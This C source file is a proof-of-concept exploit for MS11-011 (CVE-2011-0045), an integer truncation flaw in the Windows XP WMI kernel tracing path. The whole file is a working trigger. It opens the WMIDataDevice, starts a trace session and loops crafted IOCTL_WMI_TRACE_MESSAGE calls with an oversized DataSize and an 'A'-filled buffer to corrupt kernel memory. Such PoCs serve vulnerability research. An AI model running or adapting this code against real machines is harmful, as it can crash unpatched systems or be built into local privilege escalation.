/* # Exploit Title: MS11-011(CVE-2011-0045): MS Windows XP WmiTraceMessageVa Integer Truncation Vulnerability PoC # Date: 2011-03-01 # Author: Nikita Tarakanov (CISS Research Team) # Software Link: # Version: prior to MS11-011 # Tested on: Win XP SP3 # CVE : CVE-2011-0045 # Status : Patched # Binary Analysis: http://cissrt.blogspot.com/2011/02/cve-2011-0045-ms-windows-xp.html */ #include #include #include #include #include #include #define WmiTraceMessageCode 40 #define WmiCreateUMLogger 84 #define WmiStartLoggerCode 32 #define IOCTL_WMI_TRACE_MESSAGE \ CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode, METHOD_NEITHER, FILE_WRITE_ACCESS) /* #define CTL_CODE( DeviceType, Function, Method, Access ) ( \ ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \ ) #define IOCTL_WMI_TRACE_MESSAGE \ CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode, METHOD_NEITHER, FILE_WRITE_ACCESS) #define IOCTL_WMI_CREATE_UM_LOGGER CTL_CODE(FILE_DEVICE_UNKNOWN, WmiCreateUMLogger, METHOD_BUFFERED, FILE_READ_ACCESS) #define IOCTL_WMI_START_LOGGER \ CTL_CODE(FILE_DEVICE_UNKNOWN, WmiStartLoggerCode, METHOD_BUFFERED, FILE_ANY_ACCESS) typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; typedef UNICODE_STRING *PUNICODE_STRING; typedef struct _STRING64 { USHORT Length; USHORT MaximumLength; ULONGLONG Buffer; } STRING64; typedef STRING64 *PSTRING64; typedef STRING64 UNICODE_STRING64; typedef UNICODE_STRING64 *PUNICODE_STRING64; // // WNODE definition typedef struct _WNODE_HEADER { ULONG BufferSize; // Size of entire buffer inclusive of this ULONG ULONG ProviderId; // Provider Id of driver returning this buffer union { ULONG64 HistoricalContext; // Logger use struct { ULONG Version; // Reserved ULONG Linkage; // Linkage field reserved for WMI }; }; union { ULONG CountLost; // Reserved HANDLE KernelHandle; // Kernel handle for data block LARGE_INTEGER TimeStamp; // Timestamp as returned in units of 100ns // since 1/1/1601 }; GUID Guid; // Guid for data block returned with results ULONG ClientContext; ULONG Flags; // Flags, see below } WNODE_HEADER, *PWNODE_HEADER; // // Logger configuration and running statistics. This structure is used // by WMI.DLL to convert to UNICODE_STRING // // begin_wmikm typedef struct _WMI_LOGGER_INFORMATION { WNODE_HEADER Wnode; // Had to do this since wmium.h comes later // // data provider by caller ULONG BufferSize; // buffer size for logging (in kbytes) ULONG MinimumBuffers; // minimum to preallocate ULONG MaximumBuffers; // maximum buffers allowed ULONG MaximumFileSize; // maximum logfile size (in MBytes) ULONG LogFileMode; // sequential, circular ULONG FlushTimer; // buffer flush timer, in seconds ULONG EnableFlags; // trace enable flags LONG AgeLimit; // aging decay time, in minutes ULONG Wow; // TRUE if the logger started under WOW64 union { HANDLE LogFileHandle; // handle to logfile ULONG64 LogFileHandle64; }; // data returned to caller // end_wmikm union { // begin_wmikm ULONG NumberOfBuffers; // no of buffers in use // end_wmikm ULONG InstanceCount; // Number of Provider Instances }; union { // begin_wmikm ULONG FreeBuffers; // no of buffers free // end_wmikm ULONG InstanceId; // Current Provider's Id for UmLogger }; union { // begin_wmikm ULONG EventsLost; // event records lost // end_wmikm ULONG NumberOfProcessors; // Passed on to UmLogger }; // begin_wmikm ULONG BuffersWritten; // no of buffers written to file ULONG LogBuffersLost; // no of logfile write failures ULONG RealTimeBuffersLost; // no of rt delivery failures union { HANDLE LoggerThreadId; // thread id of Logger ULONG64 LoggerThreadId64; // thread is of Logger }; union { UNICODE_STRING LogFileName; // used only in WIN64 UNICODE_STRING64 LogFileName64; // Logfile name: only in WIN32 }; // mandatory data provided by caller union { UNICODE_STRING LoggerName; // Logger instance name in WIN64 UNICODE_STRING64 LoggerName64; // Logger Instance name in WIN32 }; // private union { PVOID Checksum; ULONG64 Checksum64; }; union { PVOID LoggerExtension; ULONG64 LoggerExtension64; }; } WMI_LOGGER_INFORMATION, *PWMI_LOGGER_INFORMATION; */ typedef struct _WMI_TRACE_MESSAGE_PACKET { // must be ULONG!! USHORT MessageNumber; // The message Number, index of messages by GUID // Or ComponentID USHORT OptionFlags ; // Flags associated with the message } WMI_TRACE_MESSAGE_PACKET, *PWMI_TRACE_MESSAGE_PACKET; typedef struct _MESSAGE_TRACE_HEADER { union { ULONG Marker; struct { USHORT Size; // Total Size of the message including header UCHAR Reserved; // Unused and reserved UCHAR Version; // The message structure type (TRACE_MESSAGE_FLAG) }; }; union { ULONG Header; // both sizes must be the same! WMI_TRACE_MESSAGE_PACKET Packet; }; } MESSAGE_TRACE_HEADER, *PMESSAGE_TRACE_HEADER; typedef struct _MESSAGE_TRACE { MESSAGE_TRACE_HEADER MessageHeader ; UCHAR Data ; } MESSAGE_TRACE, *PMESSAGE_TRACE ; // // Structure used to pass user log messages to the kernel // typedef struct _MESSAGE_TRACE_USER { MESSAGE_TRACE_HEADER MessageHeader ; ULONG MessageFlags ; ULONG64 LoggerHandle ; GUID MessageGuid ; ULONG DataSize ; UCHAR Data ; } MESSAGE_TRACE_USER, *PMESSAGE_TRACE_USER ; /* typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE } OBJECT_ATTRIBUTES; typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; typedef union { HANDLE Handle; ULONG64 Handle64; ULONG32 Handle32; } HANDLE3264, *PHANDLE3264; typedef struct { IN POBJECT_ATTRIBUTES ObjectAttributes; IN GUID ControlGuid; OUT HANDLE3264 ReplyHandle; OUT ULONG ReplyCount; } WMICREATEUMLOGGER, *PWMICREATEUMLOGGER; */ //#define LOGFILE_PATH L"" #define LOGFILE_PATH L"test.etl" //#define LOGSESSION_NAME L"My Event Trace Session" #define LOGSESSION_NAME L"test" // GUID that identifies your trace session. // Remember to create your own session GUID. // {94BE0BF2-885F-4972-8461-A7D83B53F1AD} static const GUID SessionGuid = { 0x94be0bf2, 0x885f, 0x4972, { 0x84, 0x61, 0xa7, 0xd8, 0x3b, 0x53, 0xf1, 0xad } }; // GUID that identifies the provider that you want // to enable to your session. // {7C214FB1-9CAC-4b8d-BAED-7BF48BF63BB3} static const GUID ProviderGuid = { 0x7c214fb1, 0x9cac, 0x4b8d, { 0xba, 0xed, 0x7b, 0xf4, 0x8b, 0xf6, 0x3b, 0xb3 } }; int trigger(HANDLE hDevice); int start_usermode_logger(HANDLE hDevice); int start_logger(HANDLE hDevice); HANDLE open_device(); int main(int argc, char **argv) { HANDLE hDevice; if((hDevice = open_device()) == INVALID_HANDLE_VALUE){ printf("open_device failed!\n"); return 0; } if(!start_usermode_logger(hDevice)){ printf("start_usermode_logger failed!\n"); return 0; } /* if(!start_logger(hDevice)){ printf("start_logger failed!\n"); return 0; } */ trigger(hDevice); return 0; } HANDLE open_device() { char deviceName[] = "\\\\.\\WMIDataDevice"; HANDLE hDevice; if ( (hDevice = CreateFileA(deviceName, GENERIC_READ|GENERIC_WRITE, //0, 0, 0, OPEN_EXISTING, 0, NULL) ) != INVALID_HANDLE_VALUE ) { printf("Device succesfully opened!\n"); return hDevice; } else { printf("Error: Error opening device at NULL premission\n"); return INVALID_HANDLE_VALUE; } } int start_usermode_logger(HANDLE hDevice) { ULONG status = ERROR_SUCCESS; TRACEHANDLE SessionHandle = 0; EVENT_TRACE_PROPERTIES* pSessionProperties = NULL; ULONG BufferSize = 0; BOOL TraceOn = TRUE; // Allocate memory for the session properties. The memory must // be large enough to include the log file name and session name, // which get appended to the end of the session properties structure. BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) + sizeof(LOGSESSION_NAME); pSessionProperties = (EVENT_TRACE_PROPERTIES*) malloc(BufferSize); if (NULL == pSessionProperties) { wprintf(L"Unable to allocate %d bytes for properties structure.\n", BufferSize); return 0; } // Set the session properties. You only append the log file name // to the properties structure; the StartTrace function appends // the session name for you. ZeroMemory(pSessionProperties, BufferSize); pSessionProperties->Wnode.BufferSize = BufferSize; pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID; pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution pSessionProperties->Wnode.Guid = SessionGuid; pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_CIRCULAR | EVENT_TRACE_USE_PAGED_MEMORY; pSessionProperties->MaximumFileSize = 5; // 5 MB pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES); pSessionProperties->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME); StringCbCopy((LPWSTR)((char*)pSessionProperties + pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH); // Create the trace session. status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION_NAME, pSessionProperties); if (ERROR_SUCCESS != status) { wprintf(L"StartTrace() failed with %lu\n", status); return 0; } // Enable the providers that you want to log events to your session. status = EnableTrace( TraceOn, // TRUE enables the provider 0, // No enable flags TRACE_LEVEL_INFORMATION, // Enable informational, warning, error and critical events (LPCGUID)&ProviderGuid, // Provider to enable SessionHandle // Session handle from StartTrace ); if (ERROR_SUCCESS != status) { wprintf(L"EnableTrace() failed with %lu\n", status); TraceOn = FALSE; return 0; } wprintf(L"Run the provider application. Then hit any key to stop the session.\n"); return 1; } int trigger(HANDLE hDevice) { DWORD cb, inlen, outlen; char *buff, *buff_out = NULL; DWORD result = 0; unsigned char str[] = "fuckdata"; MESSAGE_TRACE_USER Message; Message.MessageHeader.Marker = 0xBEBEBEBE; Message.MessageHeader.Header = 0xEFEFEFEF; Message.MessageFlags = 0xC0C0DEDE; //Message.LoggerHandle = 0xC0DEC0DEDEADDEAD; //Message.LoggerHandle = 0xC0DEC0DE12340001;//last WORD should be in 1 < n < 40 Message.LoggerHandle = 0xC0DEC0DE12340000;//last WORD should be in 1 < n < 40 Message.MessageGuid.Data1 = 0xC0DEDEAD; Message.MessageGuid.Data2 = 0xDEC0; Message.MessageGuid.Data3 = 0xDEDE; memcpy(Message.MessageGuid.Data4, str, 8); //Message.DataSize = 0xDEADBEEF; //Message.DataSize = 0x0000FFFE;//in fixed versioon should be < 0x1FD0 Message.DataSize = 0x00010FF0;//in fixed versioon should be < 0x1FD0 Message.Data = '0'; //DWORD ioctl = 0x2280A3; buff_out = (char*)malloc(0x2000); if(!buff_out){ printf("malloc failed"); return 0; } memset(buff_out, 0x0, 0x2000); cb = 0; buff = (char*)malloc(0x20000); if(!buff){ printf("malloc failed"); return 0; } memset(buff, 'A', 0x20000-1); outlen = 0x0; inlen = 0x15000; memcpy(buff, &Message, 0x30); //result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE, (LPVOID)&Message, inlen, (LPVOID)buff_out, outlen, &cb, NULL); for(int i =0; i< 0x40; i++){ Message.LoggerHandle++; memset(buff, 'A', 0x20000-1); memcpy(buff, &Message, 0x30); result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE, (LPVOID)buff, inlen, (LPVOID)buff_out, outlen, &cb, NULL); printf("ioctl = 0x%08X, id = %d, result = %d\n", IOCTL_WMI_TRACE_MESSAGE, i, result); } printf("done!"); free(buff); }